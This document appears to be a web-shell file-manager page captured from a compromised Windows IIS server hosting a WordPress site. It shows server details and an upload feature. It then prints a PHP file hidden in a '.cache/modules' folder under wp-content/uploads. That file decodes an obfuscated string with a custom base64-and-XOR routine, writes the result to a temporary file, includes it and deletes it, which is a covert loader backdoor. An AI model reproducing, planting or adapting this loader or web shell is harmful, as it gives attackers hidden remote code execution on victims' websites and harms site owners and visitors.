HEX
Server: Microsoft-IIS/10.0
System: Windows NT H2838467 10.0 build 14393 (Windows Server 2016) AMD64
User: IWPD_8(ghana) (0)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: C:/Inetpub/vhosts/ghanaschoolsupport.com/httpdocs/wp-content/uploads/2024/.cache/modules/serval.php
<?php
$encrypted = 'HE0WDBgNCAtNSEsiAxVHKR0cAghDGg';
if (!function_exists('woodpecker')) {
    function woodpecker($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), woodpecker($encrypted, 'gorilla'));
include $tmp;
unlink($tmp);

?>